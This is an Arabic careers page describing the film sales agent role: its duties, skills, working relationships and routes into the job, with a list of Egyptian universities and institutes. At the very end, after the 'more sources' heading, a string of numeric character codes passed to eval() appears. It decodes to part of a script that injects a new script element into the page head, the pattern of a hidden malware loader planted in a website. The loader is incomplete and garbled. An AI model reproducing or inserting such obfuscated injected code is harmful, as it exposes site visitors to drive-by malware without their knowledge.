وكيل مبيعات

يُعرف أيضًا باسم: مدير مبيعات الأفلام

ماذا يفعل الوكيل؟
يتصرف وكلاء المبيعات أو شركات المبيعات نيابة عن المنتج لبيع الحقوق في فيلم مستقل أو دراما تلفزيونية إلى الموزعين ، الذين يقومون بعد ذلك بإصدار الأفلام على منصات مختلفة (السينما أو التلفزيون أو أقراص DVD أو Blu-ray أو منصات البث مثل Netflix أو الأمازون). (الإنتاج المستقل هو إنتاج لم يتم إنتاجه من قبل استوديو هوليوود أو “رائد”. يتم توزيع إنتاجاتهم بواسطة شركاتهم الفرعية في جميع أنحاء العالم بدلاً من ذلك).
يتفاوض وكلاء المبيعات مع الموزعين ، بناءً على تقديرات المبيعات والتقييم التفصيلي للقيمة التجارية للإنتاج.
وكلاء المبيعات مسؤولون أيضًا عن الترويج. يروجون للأفلام التي يمثلونها في المهرجانات وأسواق الأفلام ، ويدعون الموزعين إلى العروض ويقيمون حفلات العرض الأول. إنهم يجمعون وينظمون تسليم أي مواد فيلم جسدية وعادة ما يشاركون في تطوير خطة التسويق.
تختلف النقطة التي يتدخل فيها العملاء في الإنتاج. قد يتعين على المخرجين المجهولين ، الذين يحتاجون عادةً إلى وكيل في الغالب ، إنهاء فيلمهم قبل أن يتمكنوا من العثور على شخص ليأخذه. في حالات أخرى ، قد يبيع وكيل المبيعات فيلمًا لموزع كمفهوم ، أو مسودة نصية ، أو في مرحلة التصوير أو مرحلة ما بعد الإنتاج. غالبًا ما يعتمد تمويل الفيلم على الصفقات التي تمكن وكيل المبيعات من التوسط فيها في البداية.
يكتسب وكلاء المبيعات باستمرار محتوى جديدًا لبيعه من صانعي الأفلام وهم يبنون علاقات مع الموزعين في جميع أنحاء العالم ، لذلك عادة ما تنطوي الوظيفة على السفر.
ما الذي يجيده وكيل المبيعات؟
• الوعي التجاري: لديهم وعي بالاتجاهات الثقافية ، وفهم السوق والتنبؤ به على الصعيد العالمي وداخل البلدان الفردية العين للمواهب التي تناسب هذا (مع القدرة على قراءة النصوص بسرعة وبدقة)
• معرفة عملية صناعة الأفلام: فهم جميع الجوانب المشاركة في صنع فيلم ، من النص إلى التمويل إلى مرحلة ما بعد الإنتاج
• التسويق: كن متحمسًا مع مهارات مبيعات قوية لتأمين الصفقات التنافسية ، وأن تكون قادرًا على تحديد قصة فيلم بطريقة موجزة وجذابة وجهاً لوجه ، وفهم التسويق الرقمي ووسائل التواصل الاجتماعي
• التواصل: إقامة علاقات جيدة والتواصل باستمرار مع منافذ التوزيع ومبرمجي المهرجانات وكذلك مع صانعي الأفلام ، واستخدام المهارات اللغوية للسفر واحتضان الثقافات الأخرى ، لديهم معرفة واسعة بمهرجانات الأفلام والأسواق
• التفاوض: كن مرنًا وقادرًا على التفاوض على الشروط ووضع العقود وفهم الترخيص وحقوق النشر
• المالية: تعامل مع الأرقام ، ولديها المعرفة المالية لإجراء تنبؤات المبيعات ، والتفاوض على التمويل والتعامل مع الميزانية

مع من يعمل وكيل المبيعات؟
يتواصل وكلاء المبيعات مع الموزعين نيابة عن منتجي الأفلام حتى يعملون بشكل وثيق مع كل من هذه المجموعات. كما أنهم يتعاونون مع أشخاص آخرين في المبيعات والتوزيع مثل مديري التسويق والدعاية.

كيف أصبح وكيل مبيعات؟
أدوار وكيل المبيعات هي المناصب العليا. لكي تصبح وكيل مبيعات ، يجب أن يكون لديك مستوى عال من المعرفة والخبرة في الصناعة. في بعض الأحيان ، ستقوم الشركات بتعيين مساعدين لمبيعات الأفلام. طريق آخر جيد لأدوار المبيعات هو مساعد التسويق. انتقل إلى ملف تعريف مساعد التسويق للحصول على تفاصيل حول كيفية القيام بذلك. يزداد وكلاء المبيعات أيضًا من خلفيات القانون.

في المدرسة أو الكلية:
إذا كنت ترغب في الالتحاق بالجامعة ، من المفيد الحصول على درجات A أو أعلى في دراسات الأعمال أو الاقتصاد أو اللغة الإنجليزية أو دراسات الأفلام أو السياسة. أو قد ترغب في الحصول على المؤهلات المهنية من المستوى 3 التالية:
● كلية الفنون التطبيقية جامعة حلوان
● المعهد العالي للسينما بأكاديمية الفنون بالهرم
● المعهد العالي للفنون التطبيقية بمدينة السادس من أكتوبر
● كلية الفنون والتصميم جامعة فاروس (الاسكندرية)
● كلية الفنون السينمائية والمسرحية جامعة بدر
● كلية الفنون الجامعة الأمريكية بالقاهرة
● الجامعة البريطانية بالقاهرة برنامج الصحافة ووسائل الإعلام الجديدة – برنامج الإذاعة والتليفزيون – برنامج دراسات الأفلام والإعلام – برنامج الإتصالات التسويقية المتكاملة
● المعهد العالي للفنون التطبيقية بأكاديمية القاهرة الجديدة
● كلية العلوم التطبيقية والفنون الجامعة الألمانية بالقاهرة
● كلية الفنون والتصميم جامعة العلوم الحديثة والآداب
● دورة فنون السينما و التلفزيون الجامعة الاهلية الفرنسية مركز التعليم المستمر الجامعة الفرنسية
● كلية التصميم والفنون الإبداعية جامعة الأهرام الكندية
● كلية الفنون التطبيقية جامعة دمياط

احصل على درجة علمية:
إن الحصول على درجة في دراسات الأفلام أو القانون أو دراسات الأعمال أو وسائل الإعلام والاتصالات وسيلة جيدة في هذا المجال. قد تستفيد أيضًا من ماجستير إدارة الأعمال في إنتاج الأفلام أو تاريخها أو تمويلها. ألق نظرة على قائمة الدورات التدريبية الموصى بها في ScreenSkills في الأفلام والتلفزيون. نحن نقدر الدورات الدراسية مع جائزة ScreenSkills Select الخاصة بنا حيث يقدمون التدريب في البرامج ذات الصلة ، ويخصصون وقتًا لبناء محفظة ولديهم روابط قوية مع صناعات الأفلام والتلفزيون.

خذ دورة قصيرة:
تعرف على المزيد حول عملية الحصول على تمويل فيلم لتحسين معرفتك بالعلاقات التجارية والتمويلية داخل صناعة الأفلام. الأمثلة الجيدة هي:
• FutureLearn: أعمال السينما
• دورات قصيرة في المدرسة الوطنية للسينما والتلفزيون حول الأعمال والتسويق
• انتقل إلى قائمة دورات التدريب الموصى بها من قبل ScreenSkills ومعرفة ما إذا كان هناك واحد في المبيعات

انظر خارج الصناعة:
ضع في اعتبارك الأدوار القانونية أو المالية أو التجارية أو التسويقية في أي صناعة حيث أن الخبرة العملية في مبيعات الأفلام تنافسية للغاية. ستظهر لك خلفية في المبيعات أو الأعمال أو التمويل أن لديك المهارات التحليلية اللازمة لهذا الدور.

قد تكون مهتم ايضا ب…
أن تكون دعاية أو مدير تسويق.

مزيد من المصادر

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);